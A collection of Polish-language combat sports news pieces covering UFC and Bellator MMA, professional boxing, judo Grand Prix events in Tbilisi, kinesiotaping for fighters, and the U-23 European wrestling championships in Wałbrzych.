Walki karty głównej UFC Fight Night obfitowały w ciekawe i efektowne rozstrzygnięcia. Już w pierwszej rundzie Erick Silva uporał się z Joshem Koscheckiem. Brazylijczyk zdecydowanie przeważał nad Amerykaninem. Po mocnym ciosie Silvy Koscheck znalazł się na deskach, chwilę potem został trafiony mocnym prostym. Amerykanin podjął próbę wejścia w nogi, co rywal natychmiast wykorzystał. Silva sprowadził walkę do parteru i zakończył pojedynek duszeniem gilotynowym. Tony Martin po pierwszej rundzie starcia z Leonardo Santosem mógł być spokojny. Walka była stonowana, a zawodnicy uważni. Nieznacznie przeważał Santos. W drugiej rundzie zaczęły się kłopoty Martina. W klinczu Santos podciął rywala i sprowadził walkę do parteru, a tam szybko rozstrzygnął pojedynek. Duszenie zza pleców sprawiło, że Martin musiał odklepać.

Pojedynek pań znalazł szybkie rozstrzygnięcie. Amanda Nunes niskimi kopnięciami i mocnymi ciosami w pierwszej rundzie zastopowała Shaynę Baszler. Gilbert Burns już czuł, że porażka może stać się faktem, jednak w porę nadeszło przebudzenie. Przez pierwsze dwie rundy Alex Oliveira punktował swojego rywala wykorzystując zasięg ramion. Burns obudził się w trzeciej odsłonie starcia i sprowadził walkę do parteru. Długo musiał się trudzić, ale w końcu osiągnął swój cel. Oliveira poddał się wobec skutecznie zastosowanej balachy. Godofredo Pepey zaskoczył faworyzowanego Andre Filiego. Zawodnicy znaleźli się pod siatką. Dociśnięty Pepey wskoczył na barki rywala i założył mu trójkąt. Fili starał się uwolnić, jednak nie dał rady.

Warto zatrzymać się nad pojedynkiem z karty wstępnej. Leonardo Silva wygrał z Drewem Doberem stosując gilotynę. Sędzia zdecydował się przerwać walkę, ale nie miał podstaw ku temu. Dober był aktywny, nie dawał sygnałów, że sytuacja jest trudna. Decyzja sędziego była zaskakująca. Swoje obruzenie wyraził szef UFC Dan White. Zakończenie starcia w ten sposób nie jest nawet kontrowersyjne, a po prostu absurdalne. W ferworze walki sędzia przerwał pojedynek, choć zawodnik nie dawał ku temu żadnych podstaw.

 

Walka wieczoru: 170 lbs: Demian Maia – Ryan LaFlare decyzja sędziów

Karta główna

170 lbs: Erick Silva – Josh Koscheck wygrana przed poddanie (gilotyna)
155 lbs: Leonardo Santos – Tony Martin wygrana przed poddanie (duszenie zza pleców)
135 lbs: Amanda Nunes – Shayna Baszler wygrana przez TKO
155 lbs: Gilbert Burns –Alex Oliveira wygrana przed poddanie (balacha)
145 lbs: Godofredo Pepey – Andre Fili wygrana przed poddanie (trójkąt)

Karta wstępna

155 lbs: Francisco Trinaldo – Akbarh Arreola decyzja sędziów
145 lbs: Kevin Souza -.Katsunori Kikuno wygrana przez KO
155 lbs: Leandro Silva – Drew Dober wygrana przed poddanie (kontrowersyjna decyzja sędziego)
155 lbs: Leonardo Mafra – Cain Carrizosa decyzja sędziów
155 lbs: Christos Giagos – Jorge de Oliveira wygrana przez poddanie (duszenie zza pleców)
125 lbs: Fredy Serrano – Bentley Syler wygrana przez KO

KM

 

Syrowatka pomógł rywalowi poznać deski

Ale polski pięściarz wygrał na punkty. Felix Lora wytrzymał dziesięciorundowe starcie z Michałem Syrowatką, jednak w najpiękniejszych marzeniach nie mógł myśleć o zwycięstwie. Polak dzięki wygranej zdobył tytuł międzynarodowego mistrza Polski wagi półśredniej.

Główne wydarzenie gali w Brodnicy stopniowo rozkręcało się. Początek pojedynku przypominał raczej rozgrywkę szachową, gdyż pięściarze byli ostrożni i trzymali bezpieczny dystans. Warto podkreślić, że walka nie obfitowała w liczne wymiany i zażartą rywalizację. Było to raczej starcie uważnego i ostrożnego Syrowatki z momentami nieporadnym Lorą. Polak zadawał celne ciosy, czym zyskiwał, a jego rywal starał się atakować, jednak podejmował nieskuteczne próby. Syrowatka przewidywał kolejne ruchy przeciwnika. W trzeciej rundzie Polak wypalił z prawej ręki i po raz pierwszy w tym pojedynku Lora znalazł się na deskach. Podniósł się i kontynuował walkę, ale do końca tej odsłony był uważny. Syrowatka po raz pierwszy wyraźnie zaznaczył swoją przewagę. W piątej rundzie Polak rozciął łuk brwiowy, jednak powodem nie był cios rywala, lecz przypadkowe zderzenie głowami. Syrowatka jeszcze raz wyraźnie zaznaczył swoją przewagę. W ósmej rundzie po prawym sierpowym Lora padł na deski, jednak nie dał się wyliczyć. Syrowatka nie dokończył dzieła, spokojnie kontrolował pojedynek, dokładając kolejne celne ciosy. Chaotyczny Lora nie stworzył nic konstruktywnego.

Sędziowie nie mieli problemów ze wskazaniem zwycięzcy. Syrowatka mógł cieszyć się z dwunastej wygranej na zawodowym ringu. Po dziesięciu rundach sędziowie punktowali: 98-90, 96-92 i 97-91. Zwycięstwo Syrowatki nie podlegało dyskusji, choć walka do porywających nie należała. Co prawda Lora dwa razy znalazł się na deskach, ale większych problemów polskiemu pięściarzowi nie sprawił. Syrowatka nie podkręcał tempa, spokojnie robił swoje. Mógł walkę zakończyć przed czasem, ale zapewne czuł, że ma przewagę i wygra na punkty. Lora był chaotyczny, jego ciosy nie stanowiły zagrożenia dla boksera z Ełku, gdyż były przewidywalne. Syrowatka odniósł dwunaste zwycięstwo w karierze, a przy okazji zdobył tytuł międzynarodowego mistrza Polski wagi półśredniej.

Na ringu w Brodnicy zaprezentował się Dariusz Sęk, który wygrał bez problemów. Yevgeni Makhteienke nie był w stanie ani przez chwilę zagrozić Polakowi. Wszyscy sędziowie po ośmiu rundach zgodnie (3×80-72) punktowali na korzyść Sęka. Jednak trudno na podstawie tej walki i przeciwnika jakkolwiek wypowiadać się o możliwościach polskiego pięściarza. Makhteienke nie był wyzwaniem dla Sęka, wygrana była czymś naturalnym. W wadze ciężkiej doszło do starcia Krzysztofa Koseli z Jakubem Kozerą. Walka zakończył się już w drugiej rundzie. Kosela odniósł drugie zwycięstwo na zawodowym ringu, Kozera stoczył czwarty pojedynek i zanotował czwartą porażkę. Swoje pojedynki wygrali Karina Kopińska, Norbert Dąbrowski, Damian Milewczyk i Michał Strabała.

 

KM

GP w judo: Bez podium, Ozdoba najwyżej

W Tbilisi Polacy nie wywalczyli żadnego medalu. Najwyżej  uplasowała się Agata Ozdoba, która w kategorii 63 kg zajęła piątą pozycję.

Zawody w Tbilisi w porównaniu z poprzednimi występami naszych reprezentantów wypadły blado. Jedynie w Duesseldorfie biało-czerwoni zanotowali start bez medalu. W Tbilisi Polacy spisali się poniżej oczekiwań, a wydawało się, że po ostatnich udanych występach będą kontynuowali dobrą passę. Obsada Grand Prix była bardzo mocna i na tym tle biało-czerwoni wypadli przeciętnie.

Najlepiej zaprezentowała się Agata Ozdoba, która zajęła piątą pozycję. Polka dobrze rozpoczęła zawody wygrywając dwie walki, jednak w ćwierćfinale zastopowała ją Marta Łabazina. Rosjanka wygrała, gdyż Polka otrzymała dwie kary shido i nie była w stanie odrobić strat. W walce repasażowej Ozdoba pokonała Hiszpankę Isabel Puche. Dzięki temu zwycięstwu brązowa medalistka ubiegłorocznych mistrzostw Europy w Montpellier mogła stanąć do pojedynku o trzecie miejsce. W nim trafiła na rywalkę, którą bardzo dobrze znała. Edwige Gwend spotkała się z Ozdobą podczas mistrzostw Europy w Montepellier i wtedy wygrała reprezentantka Polski. Teraz role odwróciły się. Triumfowała Włoszka. Ozdoba przegrała jedną karą shido. Piąte miejsce w Tbilisi jest najlepszym osiągnięciem w obecnym sezonie dla Polki.

W 1/8 finału odpadli Agata Perenc ( 52 kg), Arleta Podolak (57 kg), Katarzyna Furmanek (+78 kg) oraz Aleksander Beta (66 kg). Bez sukcesów startowała również Daria Pogorzelec (78 kg). Po jednej walce wygrali Damian Szwarnowiecki (73 kg) oraz Jakub Wójcik (100 kg), jednak już na etapie eliminacji zakończyli swoje uczestnictwo w zawodach. Jakub Kubieniec (81 kg) i Jakub Ciechomski (90 kg) nie odnieśli ani jednego zwycięstwa.

Agata Perenc, choć szybko odpadła to w Tbilisi udało jej się odprawić uznaną rywalkę. Na kary shido Polka pokonała wielokrotną medalistkę mistrzostw Europy Petrę Nareks. W kolejnej walce przez yuko przegrała z reprezentantką Izraela Gili Cohen. Arleta Podolak uległa brązowej medalistce mistrzostw Europy i mistrzostw świata Vlorze Bedeti, ale wcześniej pokonała Camilę Minkakawę. Katarzyna Furmanek wygrała w tym sezonie Puchar Świata w Pradze, kiedy to w finale triumfowała w rywalizacji z Yu Song z Chin. W Tbilisi obie zawodniczki spotkały się ponownie. Furmanek i Song wpadły na siebie w 1/8 finału i tym razem lepsza okazała się Chinka. Tym razem Polka musiała pogodzić się z porażką, co wiązało się z odpadnięciem z rywalizacji. Ostatnimi czasy Furmanek plasowała się w czołówce – Praga, Casablanca. Warto dodać, że w kategorii +78 kg triumfowała Yu Song. Daria Pogorzelec przez ippon pokonała Alenę Kaczorowską, a w  dogrywce przez yuko uległa Assuncie Galeone.

Trzydniowa rywalizacja w Tbilisi nie przyniosła Polakom powodów do radości z racji odniesionych sukcesów. Polacy trafili na wymagających rywali i nie sprostali wyzwaniom, które na nich czekały. Kolejne zawody w tureckim Samsun.

KM

Rousey poznała kolejną rywalkę

Gwiazda UFC wystąpi w walce wieczoru podczas 190 gali najpopularniejszej organizacji mieszanych sztuk walki na świecie. Rywalką Rondy Rousey będzie Bethe Correia.

Mistrzyni UFC w kategorii koguciej obecnie regeneruje się po pojedynku z Carl Zingano, który odbył się podczas UFC 184. Choć trudno wnioskować, że Rousey w tej rywalizacji doznała jakiekolwiek zmęczenia. Raz, dwa wykonała swoją robotę i po sprawie. „Rowdy” w czternaście sekund rozprawiła się z Zingano stosując dźwignię na rękę. Wydawało się, że Rousey trafiła na rywalkę, która może jej zagrozić, jednak Amerykanka potwierdziła swoją niepodważalną pozycję. Czy kolejna przeciwniczka stawi opór mistrzyni i sprawi niespodziankę?

Bez wątpienia Rousey rozpatrywana jest w kategoriach gwiazdy, która zaprogramowana jest na wygrywanie. W każdym kolejnym pojedynku uznawana jest za faworytkę do zwycięstwa. Rousey wyrobiła sobie markę, która sprawia, że odbiera się ją jako postać sukcesu. To sprawia, że dla rywalek staje się upragnionym celem. Inne zawodniczki doskonale wiedzą, że wygrana z Rousey jest ogromną szansą, krokiem przełomowym, sięgnięciem po marzenia. Zdaje sobie z tego sprawę Bethe Correia, która stanie naprzeciw Amerykanki podczas UFC 190 w Rio de Janeiro. 31-latka stoczy bój na własnym terenie, co będzie miało dla niej szczególny wymiar. Zdobyć mistrzowski pas u siebie, w Brazylii to byłby nie lada wyczyn. Tylko jeden warunek – trzeba pokonać Rousey, a to nie będzie łatwe.

Zawodniczka, która nosi pseudonim „Pitbull” w swojej karierze kroczy od zwycięstwa do zwycięstwa. Correia stoczyła dziewięć pojedynków w mieszanych sztukach walki, z czego dwa wygrała przez nokaut, a siedem przez decyzję sędziów. Wyraźnie widać, że Brazylijka jest gotowa na rywalizację na pełnym dystansie. Musi uważać w pojedynku z Rousey, gdyż ta ani razu nie wygrała przez decyzję sędziów! Wszystkie walki Amerykanki kończyły się przed czasem – aż dziewięć przez poddanie! Jeśli Correia będzie potrafiła długo utrzymać się na nogach i uważnie postępować w parterze to ma szansę na sukces. Do tej pory Brazylijka stoczyła trzy pojedynki w UFC. Ostatni w sierpniu 2014 roku, kiedy podczas UFC 177 pokonała przez TKO Shaynę Baszler. Debiut w organizacji nie był najlepszy w wykonaniu zawodniczki z Brazylii. Co prawda pokonała Julie Kedzie na punkty (niejedno głośnie), ale wszystko odbyło się na granicy. Nie ulega wątpliwości, że Correirę czeka największe wyzwanie w karierze.

Dla Rousey będzie to kolejny pojedynek w obronie mistrzowskiego pasa. Czy powinna obawiać się Brazylijki? Amerykanka jest tak szybka, sprawna i pewna siebie, że nie musi. Musi być skoncentrowana. Jeśli spełni ten warunek to rywalka będzie musiała dać z siebie więcej niż wszystko. Bo Rousey odjechała. Kto ją dogoni? 1 sierpnia w Rio de Janeiro tej sztuki spróbuje dokonać Bethe Correia.

KM

Atrakcyjność czy skuteczność? Czyli Mayweather w akcji

Floyd Mayweather jest skarbem, żyłą złota, samonapędzającą się machiną. Wielki mistrz boksu potrafi wzbudzić ogromne zainteresowanie i stworzyć wokół swoich pojedynków wyjątkową aurę, dzięki której osiąga wielkie zyski.

Nieprzypadkowo przyległ do niego przydomek Money. Mayweather jest niczym czarodziej, którego dotyk zamienia wszystko w złoto i może czerpać z tego korzyści. Amerykanin ma zmysł marketingowy. Dzięki niemu jest na szczycie listy najbogatszych bokserów świata. Facet jest mistrzem, w swojej dyscyplinie osiągnął szczyt, a do tego dokłada coś więcej. Ma osobowość, która w dzisiejszych czasach jest niezwykle cenna. Przykuwa wzrok. Nazwisko Mayweather pojawia się w powietrzu bardzo często, ludzie wciągają je niczym tlen.

Przed Mayweatherem kolejny pojedynek w karierze. Już pięć lat temu miał zmierzyć się z Pacquiao, jednak do starcia nie doszło. Szkoda. Wtedy obaj pięściarze byli w szczycie formy, niczym rozszalałe tygrysy prezentowały w ringu swoje umiejętności przyciągając uwagę tłumów. Teraz są coraz bliżej czterdziestki i raczej myślą o tym jak utrzymać się na szczycie. Za walkę dostaną ogromną kasę –Mayweather 150 milionów dolarów, Pacman – 100 milionów. Co pokażą w ringu? Wierzyć trzeba, że będzie to największe wydarzenie XXI wieku w boksie. Mayweather dzierży w swoich rękach pasy WBC i WBA w wadze półśredniej oraz WBC i WBA w wadze junior średniej. Pacquiao stoczył ponad sześćdziesiąt walk, przeszedł drogę od kategorii muszej do półśredniej, a po drodze zdobywał trofea. Wyliczać sukcesy obu pięściarzy można w nieskończoność. Patrząc na paletę boksu w obecnym kształcie są wyjątkowi, gdyż mają osobowość, przeszli długą drogę do sukces, potrafili utrzymać się na szczycie.

Bez wątpienia są atrakcyjni. Pacquiao dodatkowo jest w ringu efektowny. Niczym mała pchełka potrafi rzucić się na przeciwnika, który nie jest w stanie oprzeć się jego naporowi. Pacman nigdy nie unikał walki, toteż zanotował kilka porażek, kiedy nadział się na mocny cios rywala. Z kolei Mayweather jest mistrzem obrony. Solidny i uważny do bólu. Na konferencjach showman, który potrafi nakręcić atmosferę jak mało kto, ale w ringu skupiony. Money stara się przechytrzyć przeciwnika i wyczuć moment, aby go ukłuć. Dla widowiska to strata. Żądna walki publika może żywić pretensje do Maywethera. Żal w sercu rywala z pewnością pojawi się, gdy zobaczy Moneya, który nie daje sobie szansy na popełnienie błędów. Pacquiao i Mayweather są w stanie stworzyć ciekawe widowisko, lecz może to być spektakl teatralny. Nie bitwa, nie wymiana ciosów, lecz dokładnie przemyślana i przepracowana taktyka. Jeden z byłych rywali Mayweathera, Saul „Canelo” Alvarez otwarcie mówi o podejściu Amerykanina do walki: – On nie daje szansy na to, aby walka stała się atrakcyjna. Nie obchodzi go  to w jaki sposób wygra, ale najważniejsze jest to, aby wygrał.

Atrakcyjny i skuteczny Mayweather. Atrakcyjny marketingowo, skuteczny w ringu. Być może podczas pojedynku z Pacquiao połączy te dwie cechy, które pozwolą uczyć ten pojedynek prawdziwą ucztą. Pacman z pewnością podejmie wyzwanie. Ale czy za wszelką cenę będzie ryzykował?

KM

Do Tbilisi po kolejne punkty

W najbliższy weekend w Gruzji odbędą się zawody z cyklu Grand Prix w judo. Nasi reprezentanci w Tbilisi będą walczyć o kolejne laury w olimpijskim wyścigu.

Rywalizacja w Gruzji zapowiada się pasjonująco, gdyż zawody będą mocno obsadzone. W Grand Prix zaprezentują się pierwsze reprezentacje Gruzji, Kazachstanu, Armenii, Niemiec, Węgier, Francji, Izraela, Włoch, Ukrainy, Azerbejdżanu i Uzbekistanu. Z pewnością nie zabraknie ciekawych pojedynków na wysokim sportowym poziomie. Grand Prix w Tbilisi rozpocznie się w piątek i potrwa do niedzieli. Pierwszego dnia rywalizować będą judoczki 48 kg, 52 kg, 57 kg oraz panowie w wagach 60 i 66 kg. W sobotę zaprezentują się zawodniczki w kategoriach 63 i 70 kg, a także mężczyźni – 73 i 81 kg. Niedziela będzie dniem rywalizacji najcięższych.

Do Gruzji poleci jedenastu naszych reprezentantów. W tym gronie jest sześć zawodniczek i pięciu zawodników. Polskę w Tbilisi reprezentować będą: Agata Perenc, Arleta Podolak, Agata Ozdoba, Katarzyna Kłys, Daria Pogorzelec, Katarzyna Furmanek, Aleksander Beta, Damian Szwarnowiecki, Jakub Kubieniec, Patryk Ciechomski oraz Jakub Wójcik. Biało-czerwoni w Gruzji będą walczyli o jak najwyższe lokaty. Nie ulega wątpliwości, że rywalizacja na międzynarodowej arenie rozkręca się już na dobre i wchodzi na właściwe tory. Istotne, aby nasi zawodnicy potwierdzili swoją formę.

Dotychczasowe występy Polaków pozwalają na optymizm, jednak nie na euforię. Zwycięstwo Sarnackiego w Warszawie czy Furmanek w Pradze to powód do dumy, ale należy patrzeć na innych, których występy nie prezentują jeszcze optymalnego poziomu. W Tbilisi zobaczymy Katarzynę Kłys (70 kg), która w 2014 roku w Czelabińsku sięgnęła po brązowy medal mistrzostw świata. Oby ten sezon był równie efektowny w jej wykonaniu, gdyż judoczka rozbudziła nadzieje i stała się kandydatką do sukces podczas igrzysk olimpijskich w Rio de Janeiro. Występ Darii Pogorzelec (78 kg) podczas Grand Prix w Duesseldorfie, gdzie zajęła piąte miejsce był dobrą rozgrzewką przed kolejnymi zmaganiami. Zawodniczka z Gdańska w poprzednim sezonie prezentowała się znakomicie m.in. wygrała turniej w Tallinie. Fenomenalnie w tym sezonie radzi sobie Katarzyna Furmanek (+78 kg), która zdobywa cenne punkty w rankingu olimpijskim. Zwycięstwo w Pucharze Świata w Pradze oraz drugie miejsce w Casablance są dobry prognostykiem przed kolejnymi startami. Początek sezonu wyglądał dobrze w wykonaniu Agaty Perenc, która na chwilę zniknęła, ale w Tbilisi wraca i miejmy nadzieję, że potwierdzi swoją formę. W Oberwat zajęła trzecie miejsce w kategorii 52 kg, a w turnieju Arlon wywalczyła srebro. Niewiadomą pozostaje formy Agaty Ozdoby (63 kg), która w Pucharze Świata w Duesseldorfie odpadła już w eliminacjach oraz Arlety Podolak (57 kg). Wśród panów największe nadzieje na swoich barkach niesie Jakub Kubieniec, który podczas zawodów na warszawskim Torwarze zajął trzecią pozycję w kategorii 81 kg. W tym sezonie Damian Szwarnowiecki w turnieju Pucharu Świata w Rzymie zajął piąte miejsce. Zawodnik, który ma potencjał w Gruzji powinien potwierdzić dyspozycję i zrobić krok do przodu. Aleksander Beta z pewnością uczyni wszystko, aby nawiązać do dobrych występów z poprzedniego sezonu.

Na obecnym etapie rywalizacji w polskiej reprezentacji wyróżnia się Katarzyna Furmanek. Pewne jest, że za wszelką cenę dołączyć do niej będą chciały Katarzyna Kłys oraz Daria Pogorzelec, które w poprzednim sezonie pokazały, że zaliczają się do czołówki międzynarodowej. Pod koniec czerwca czekają nas mistrzostwa świata, na których liczymy na zdobycz medalową. W Tbilisi nasi reprezentanci muszą sprawić, że na imprezę w Baku będziemy czekać z niecierpliwością.

KM

Grand Prix w Tbilisi – transmisje w FightKlubie

Grand Prix w Tbilisi: chiński sprawdzian judoczki Katarzyny Furmanek

Katarzyna Furmanek ( 78 kg) jest odkryciem polskiej reprezentacji w judo w sezonie przedolimpijskim. Wygrała już dwa turnieje, a łącznie 3 razy była w finałach. W Grand Prix w Tbilisi spotka się ze słynną Chinką Yu Song. Transmisje na żywo codziennie od piątku do niedzieli, od godziny 14:00 w telewizji FightKlub.

Dopiero od kilku tygodni Katarzyna Furmanek startuje w wadze ciężkiej, wcześniej występowała w kategorii -78 kg, ale bez specjalnych sukcesów. Dopiero za namową trenerów zdecydowała się na rywalizację z rywalkami ważącymi po kilkadziesiąt kilogramów więcej. Spisuje się znakomicie, rzucając na ippon sławne rywalki.

Polka najpierw wygrała turniej w Belgii, a potem znakomicie spisała się w Pucharze Świata w Pradze, pokonując 4 rywalki ze światowej czołówki, a tydzień temu była 2 w PŚ w Casablance. W finale w Czechach wygrała przez ippon Yu Song, rzucając ją 6 sekund przed końcowym gongiem na tomoe nage. Od września do listopada 2014 Chinka wygrała trzy mocno obsadzone turnieje i jest na 5 miejscu w rankingu światowym.

W 3-dniowych zawodach Grand Prix w Tbilisi wystąpi 345 zawodniczek i zawodników z 42 krajów, w tym 10-osobowa reprezentacja Polski. W składzie poza wspomnianą Katarzyną Furmanek są Agata Perenc (-52 kg), Arleta Podolak (-57 kg), Agata Ozdoba (-63 kg) i Daria Pogorzelec (-78 kg). Żadna z nich w pierwszej rundzie nie trafiła na zawodniczkę, która byłaby całkowicie poza zasięgiem. Agata Perenc, która w czwartek 19 marca skończyła 25 lat, spotka się z wielokrotną medalistką Mistrzostw Europy Słowenką Petrą Nareks. Miesiąc temu wygrała z nią w PŚ w Austrii, więc powtórka mile widziana.

W kadrze mężczyzn są Aleksander Beta (-66 kg), Damian Szwarnowiecki (-73 kg), Jakub Kubieniec (-81 kg), Patryk Ciechomski (-90 kg) i Jakub Wójcik (-100 kg). Ostatni z wymienionych w czwartkowym losowaniu trafił na Gruzina Lashę Gurulego, aktualnego mistrza kraju, który w 2013 roku zajął 2 miejsce w PŚ w Tbilisi.

A już za tydzień GP w tureckim Samsun – kolejny turniej, podobnie jak w Tbilisi, zaliczany do kwalifikacji olimpijskich. W awizowanym składzie jest zwycięzca niedawnego Pucharu Świata w Warszawie Maciej Sarnacki ( 100 kg).

Źródło: materiały prasowe

Rosyjski gwiazdor pod ścianą

Ciąg dalszy sagi ze stosowaniem niedozwolonych środków w mieszanych sztukach walki. Niedawno na światło dziennie wypłynęła afera dopingowa z Andersonem Silvą w roli głównej. Brazylijczyk poddał się ponownym badaniom, które po raz kolejny dały wynik pozytywny. Potwierdziło się, że „Spider” stosował niedozwolone środki. Świat MMA nadal ma problem na tej płaszczyźnie.

Tym razem nie gwiazdor UFC, lecz Bellatora został przyłapany na stosowaniu niedozwolonych substancji. Aleksandr Shlemenko został poddany badaniom przed pojedynkiem z Malvinem Manhoefem podczas gali Bellator 133. Rosjanin wygrał przez nokaut, jednak okazuje się, że stosował niedozwolone środki. Takie informacje wyciekły do amerykańskich mediów sportowych. Shlemenko miał znacznie podwyższony poziom testosteronu. Rzecz jasna- informacje te nie są oficjalne, jednak władze Bellatora już wyraziły niezadowolenie z zaistniałej sytuacji. Shlemenko zawiódł zaufanie i poważnie naruszył swój wizerunek.

Wiadomość o tyle zaskakująca, iż Rosjanin jest uznaną postacią wagi średniej. Shlemenko uchodzi za najlepszego zawodnika swojej kategorii spoza USA. Jego umiejętności zawsze budziły wielki podziw. Shlemenko stoczył ponad pięćdziesiąt pojedynków, w Bellatorze był wyróżniającą się postacią. Dla 30-latka ostatni okres nie był najlepszy. W 2014 roku poniósł dwie porażki z rzędu – (Bellator 120 oraz Bellator 126)  -, przegrał z Tito Ortizem i Brandonem Halseyem. Rosjanin próbował odbudować formę podczas gali Fights Night – Battle of Moscow 18. Na rodzimej ziemi Shlemenko pokonał przez decyzję sędziów Yasubeya Enomoto. Bellator dał kolejną szansę Rosjaninowi, który efektownie znokautował Manhoefa, ale kontrola dopingowa dała wynik pozytywny. Być może 30-latek nie mógł poradzić sobie z presją i obawiał się rywalizacji z mocnym rywalem, jednak nie powinien dopuszczać się takich działań. Uznanie na jakie zapracował nie było warte ceny, którą może ponieść.

A może go to wiele kosztować. Jeśli wynik kontroli potwierdzi się Shlemenko znajdzie się pod ścianą. Bellator głośno zapowiada, że nie zamierza tolerować ekscesów związanych ze stosowaniem dopingu. Organizacja opowiada się za zaostrzeniem kar za występki związane z zakazanymi substancjami. Czego może się spodziewać Shlemenko? Został zweryfikowany wynik walki z Manhoefem – "no contest". Kolejne decyzje zapadną w późniejszym czasie, kiedy potwierdzi się wynik kontroli, która za pierwszym razem wykazała podwyższony poziom testosteronu. Niewykluczone, że Shlemenko będzie musiał pożegnać się z Bellatorem.

Ostatni czas obfituje w doniesienia związane ze stosowaniem dopingu. Problem w tym, że zjawisko to staje się coraz powszechniejsze. Na stosowaniu niedozwolonych środków przyłapani zostają zawodnicy określani mianem gwiazd MMA. Wystarczy wspomnieć choćby Andersona Silvę, Jona Jonesa czy Nicka Diaza w UFC. Skala zjawiska jest coraz bardziej niepokojąca. Kwestią fundamentalną powinno być określenie, czy ów problem jest powszechny, czy dotyczy jednostek. To jest punkt wyjścia, który musi ukierunkować działania w celu zapobiegnięcia rozszerzania zjawiska obecności niedozwolonych środków w świecie MMA.

KM

Kinezjotaping w sportach walki

Sporty walki funkcjonują jako dyscypliny sportowe o tzw. wysokim stopniu ryzyka związanego z ich uprawianiem. Przyczyną powstawania urazów sportowych jest konieczność wykonywania ogromnej pracy treningowej oraz specyficzny przebieg samej rywalizacji.

Jako jedną z metod terapeutycznych w celu szybszego wyeliminowania bólu oraz stanu zapalnego wywołanego forsownym treningiem stosuje się obecnie kinezjotaping. 

Czym właściwie jest taping

Taping  zwany inaczej kinezjotapingem lub plastrowaniem to stosunkowo nowa metoda terapeutyczna polegająca na oklejaniu wybranych fragmentów ciała plastrami. Plastry te mają strukturę zbliżoną do struktury skóry, wysoką rozciągliwość, nie zawierają leków, są wodoodporne a dzięki falowemu utkaniu umożliwiają przepływ powietrza. W sportach walki stosuje się je leczniczo i zapobiegawczo np. podczas zawodów, w stanach ostrych i przewlekłych oraz bezpośrednio po kontuzjach lub stłuczeniach. Najczęściej plastrami oklejane są miejsca najbardziej narażone na kontuzje czyli stawy oraz ich okolice np. staw skokowy, kolanowy, ramienny, łokciowy, nadgarstkowy, a także odcinek lędźwiowy i szyjny kręgosłupa.

Zastosowanie w sportach walki

Praktyczne zastosowanie tapingu w sportach walki polega głównie na tym, że odpowiednio przyklejona taśma, w zależności od potrzeb stabilizuje mięśnie, rozciąga je lub ściska pozwalając na powiększenie potencjału mięśni przy skurczu lub zauważalne zredukowanie tego skurczu oraz jego skutków w czasie kontuzji. W efekcie zawodnik podczas zawodów jest silniejszy i wytrzymalszy nawet o 10%. 

Jeśli mięśnie wspomagane plastrami są mniej eksploatowane to logicznym jest, że są bardziej wytrzymałe, co dla walczącego zawodnika w praktyce oznacza, że jest bardziej wytrzymały od rywala, który plastrów nie ma. Takie właściwości kinezjotapingu sprawiają, że może być on postrzegany jako forma dopingu. 
Z drugiej strony nie można zapominać o głównym zastosowaniu tej techniki, to jest przy leczeniu urazów i regeneracji i stabilizacji.
Metoda ta jest wręcz zbawienna dla całego grona zawodników, którzy dręczeni przez kontuzje bez zastosowania plastrowania w ogóle nie mieliby szansy na start w zawodach lub na sparing. 

Specyfiką sportów walki jest, że zawodnicy są przez stosunkowo długi okres czasu narażeni na uderzenia i mikrouszkodzenia tkanek miękkich z czego wynikają opuchlizny i mikrourazy. W takich przypadkach taping ma działanie profilaktyczne, leczy w trybie natychmiastowym, a także zapobiega rozprzestrzenianiu się ogniska zapalnego. 

Na koniec należy jednak stanowczo podkreślić, że choć kinezjotaping to niezwykle skuteczna metoda terapeutyczna to najważniejszą profilaktyką urazową w każdym sporcie, nie tylko w sportach walki jest zdrowy rozsądek, odpowiedni trening i właściwa dieta.

Zapasy w Polsce pierwszy raz

Wielkie imprezy wzbudzają ogromne emocje. Poziom mistrzowski sprawia, że z każdym dniem wzrasta zainteresowanie audytorium, które chce śledzić poczynania głównych aktorów widowiska. Polska zorganizuje I Mistrzostwa Europy w zapasach do lat 23. Impreza odbędzie się w dniach 24-29 marca w Wałbrzychu.

W poprzednim roku we Wrocławiu miały miejsce mistrzostwa Europy do lat 23 w judo. Zawody cieszyły się dużym zainteresowaniem, biało-czerwoni wywalczyli jeden medal. Czy w przypadku zapasów będzie podobnie? Dyscyplina w Polsce trochę zapomniana, lekko zakurzona. Informowaliśmy Państwa o idei stworzenia ligi zapaśniczej, co z pewnością wpłynęłoby na popularyzację dyscypliny. To echo ostatnich działań, jednak na przestrzeni kilku ostatnich lat do opinii publicznej trafiły dwa wydarzenia związane z zapasami. Brązowy medal olimpijski Damiana Janikowskiego i protest Andrzeja Suprona. Trochę mało. Zapasy schowały się gdzieś z tyłu. Stoją w kolejce i czekają „na swoje”. Nieco starsi czytelnicy być może skojarzą to z czasem PRL-u, kiedy konieczna była cierpliwość. Jednak pomysł idei ligi zapaśniczej rozbudził trochę świadomość społeczną. A teraz do uszu, oczu wielu osób trafi informacja o I Mistrzostwach Europy U-23 w Wałbrzychu.

Warto pochylić się nad kwestiami podstawowymi. Otóż, zawody odbędą się w dniach 24-29 marca. Na początek zaplanowano rywalizację w stylu wolnym. Kolejne dwa dni obfitować będą w zmagania kobiet, na koniec pozostawiono styl klasyczny. Młodzi zapaśnicy będą mieli komfortowe i profesjonalne warunki do rywalizacji. Zawody odbędą się w ośrodku turystyczno-sportowym Centrum Aktywnego Wypoczynku i Centrum Przygotowań Sportowców AQUA ZDRÓJ. Wedle wstępnych ustaleń w mistrzostwach weźmie udział około 400 zawodników z 38 krajów. W akcji zobaczymy przedstawicieli państw, gdzie zapasy są niezwykle popularne – z Armenii, Azerbejdżanu, Bułgarii, Rosji, Gruzji, Francji.

Polska jako organizator czeka już tylko na przyjęcie zawodników i rozpoczęcie rywalizacji. Przygotowania przebiegły sprawnie. Pozostaje wierzyć w dobre występy naszych reprezentantów i wspaniałą atmosferę. Warto zwrócić uwagę na fakt, że impreza jest pierwszą w historii. Mistrzostwa Europy do lat 23 odbędą się w Polsce i jest to ogromna zasługa starań Polskiego Związku Zapaśniczego, którego przedstawiciele podjęli wysiłek i przekonali włodarzy światowej organizacji do swojej koncepcji. Czasami trzeba wyjść naprzeciw, poszukać szansy, aby odnieść sukces. Być może w ten sposób zapasy zyskają popularność w Polsce i z pewnością poprawią swój wizerunek w świecie.

